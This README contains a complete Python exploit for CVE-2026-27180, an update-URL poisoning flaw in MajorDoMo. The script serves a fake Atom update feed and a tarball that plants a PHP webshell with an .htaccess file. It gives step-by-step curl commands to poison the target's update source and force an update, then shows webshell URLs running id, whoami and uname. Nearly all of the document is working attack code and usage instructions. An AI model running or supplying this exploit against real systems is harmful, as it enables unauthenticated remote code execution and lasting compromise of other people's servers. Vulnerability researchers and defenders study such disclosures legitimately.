README.md
Rendering markdown...
#!/usr/bin/env python3
# Exploit Title: MajorDoMo unauthenticated update URL poisoning leading to RCE
# CVE: CVE-2026-27180
# Date: 2026-02-19
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub:
# Vendor Homepage: https://github.com/sergejey/majordomo
# Software Link: https://github.com/sergejey/majordomo
# Vulnerable: Yes
# Tested on: MajorDoMo versions before commit that added authentication check (pre-PR #1177)
# Category: Remote Code Execution
# Platform: PHP / Linux
# Exploit Type: Remote
# Description:
# Exploits CWE-494 (Download of Code Without Integrity Check) in MajorDoMo.
# Allows unauthenticated attacker to poison the update source URL and force
# an update that downloads and extracts attacker-controlled tar.gz directly
# into the web root, achieving remote code execution.
#
# Usage:
# python3 exploit.py <target_url> --lhost <your_ip> --lport <your_port>
#
# Examples:
# python3 exploit.py http://192.168.10.50:80 --lhost 192.168.1.100 --lport 8080
# python3 exploit.py http://10.10.10.123 --lhost 192.168.5.77 --lport 9001
#
# Options:
# --lhost Attacker IP where the malicious server will listen
# --lport Port for the malicious HTTP server (default: 8080)
#
# Notes:
# - The script starts a malicious HTTP server that serves:
# /master.xml → fake Atom feed
# /archive/master.tar.gz malicious tarball with webshell
# - After running, manually trigger the two requests on the target or wait for auto-update
# - Webshell will appear as /poc.php on the target
#
# How to Use
#
# Step 1: Run this script on your attacking machine
# Step 2: Wait for the server to start and note the displayed URLs
# Step 3: On the vulnerable target execute (via browser or curl):
# http://target/objects/?module=saverestore&mode=auto_update_settings&set_update_url=http://<your_ip>:<your_port>
# http://target/objects/?module=saverestore&mode=force_update
# Step 4: Wait 10–90 seconds for the update process to finish
# Step 5: Access the webshell:
# http://target/poc.php?pass=ChangeMe123&cmd=id
# http://target/poc.php?pass=ChangeMe123&cmd=whoami
# http://target/poc.php?pass=ChangeMe123&cmd=uname%20-a
import http.server
import socketserver
import io
import tarfile
import gzip
from datetime import datetime
import argparse
import threading
import time
import sys
PASSWORD = "ChangeMe123"
WEBSHELL_CODE = f'''<?php
$p = "{PASSWORD}";
if (!isset($_GET["pass"]) || $_GET["pass"] !== $p) {{
http_response_code(403);
die("Access denied.");
}}
header("Content-Type: text/plain; charset=utf-8");
if (isset($_GET["cmd"]) && $_GET["cmd"] !== "") {{
$cmd = $_GET["cmd"];
echo "Running: $cmd\\n";
echo str_repeat("-", 40) . "\\n";
$output = [];
$ret = -1;
if (function_exists("system")) {{ system($cmd, $ret); }}
elseif (function_exists("passthru")){{ passthru($cmd, $ret); }}
elseif (function_exists("exec")) {{ exec($cmd, $output, $ret); }}
elseif (function_exists("shell_exec")) {{
echo shell_exec($cmd);
$ret = 0;
}}
if (!empty($output)) {{
echo implode("\\n", $output) . "\\n";
}}
echo str_repeat("-", 40) . "\\n";
echo "Return: $ret\\n";
}} else {{
echo "Webshell active. Use ?pass={PASSWORD}&cmd=...\\n";
phpinfo(INFO_GENERAL);
}}
?>
'''
HTACCESS = '''<IfModule mod_php.c>
php_flag engine on
</IfModule>
AddType application/x-httpd-php .php .phtml
AddHandler php-script .php .phtml
<FilesMatch "\\.(php|phtml)$">
Order allow,deny
Allow from all
</FilesMatch>'''
def build_malicious_tar_gz():
fileobj = io.BytesIO()
with gzip.GzipFile(fileobj=fileobj, mode='wb') as gz:
with tarfile.open(fileobj=gz, mode='w|gz') as tar:
info = tarfile.TarInfo("poc.php")
info.size = len(WEBSHELL_CODE.encode())
info.mtime = int(datetime.now().timestamp())
info.mode = 0o644
tar.addfile(info, io.BytesIO(WEBSHELL_CODE.encode()))
info = tarfile.TarInfo(".htaccess")
info.size = len(HTACCESS.encode())
info.mtime = int(datetime.now().timestamp())
info.mode = 0o644
tar.addfile(info, io.BytesIO(HTACCESS.encode()))
fileobj.seek(0)
return fileobj.read()
class MaliciousHandler(http.server.SimpleHTTPRequestHandler):
def __init__(self, *args, tarball=None, **kwargs):
self.tarball = tarball
super().__init__(*args, **kwargs)
def do_GET(self):
if self.path == "/master.xml":
feed = f'''<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>MajorDoMo Security Update</title>
<updated>{datetime.utcnow().strftime("%Y-%m-%dT%H:%M:%SZ")}</updated>
<entry>
<id>urn:update:20260219</id>
<updated>{datetime.utcnow().strftime("%Y-%m-%dT%H:%M:%SZ")}</updated>
<link rel="enclosure" href="http://{self.server.lhost}:{self.server.lport}/archive/master.tar.gz"
type="application/x-gzip" length="{len(self.tarball)}"/>
<title>Update 2026-02-19</title>
</entry>
</feed>'''
self.send_response(200)
self.send_header("Content-type", "application/atom+xml")
self.end_headers()
self.wfile.write(feed.encode())
elif self.path == "/archive/master.tar.gz":
self.send_response(200)
self.send_header("Content-type", "application/gzip")
self.send_header("Content-Length", str(len(self.tarball)))
self.end_headers()
self.wfile.write(self.tarball)
else:
self.send_response(404)
self.end_headers()
self.wfile.write(b"Not Found")
def log_message(self, format, *args):
return
def start_server(lhost, lport, tarball):
handler = lambda *args, **kwargs: MaliciousHandler(*args, tarball=tarball, **kwargs)
with socketserver.TCPServer((lhost, lport), handler) as httpd:
httpd.lhost = lhost
httpd.lport = lport
print(f"[+] Malicious server listening on {lhost}:{lport}")
print(f" Feed : http://{lhost}:{lport}/master.xml")
print(f" Tarball: http://{lhost}:{lport}/archive/master.tar.gz")
print()
print(" Poison command (run on target):")
print(f" curl 'http://<target>/objects/?module=saverestore&mode=auto_update_settings&set_update_url=http://{lhost}:{lport}'")
print(" Trigger command:")
print(f" curl 'http://<target>/objects/?module=saverestore&mode=force_update'")
print()
print(f" After update, test webshell:")
print(f" http://<target>/poc.php?pass={PASSWORD}&cmd=id")
try:
httpd.serve_forever()
except KeyboardInterrupt:
print("\n[+] Server stopped")
def main():
parser = argparse.ArgumentParser(description="CVE-2026-27180 MajorDoMo Update Poisoning Exploit Server")
parser.add_argument("target", help="Target MajorDoMo URL (e.g. http://192.168.1.50:80)")
parser.add_argument("--lhost", required=True, help="Your IP address for malicious server")
parser.add_argument("--lport", type=int, default=8080, help="Port for malicious server (default: 8080)")
args = parser.parse_args()
tarball = build_malicious_tar_gz()
server_thread = threading.Thread(
target=start_server,
args=(args.lhost, args.lport, tarball),
daemon=True
)
server_thread.start()
print("[+] Server thread started. Press Ctrl+C to stop.")
print("[+] Keep this running while you poison and trigger the target.\n")
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
print("\n[+] Shutting down...")
if __name__ == "__main__":
main()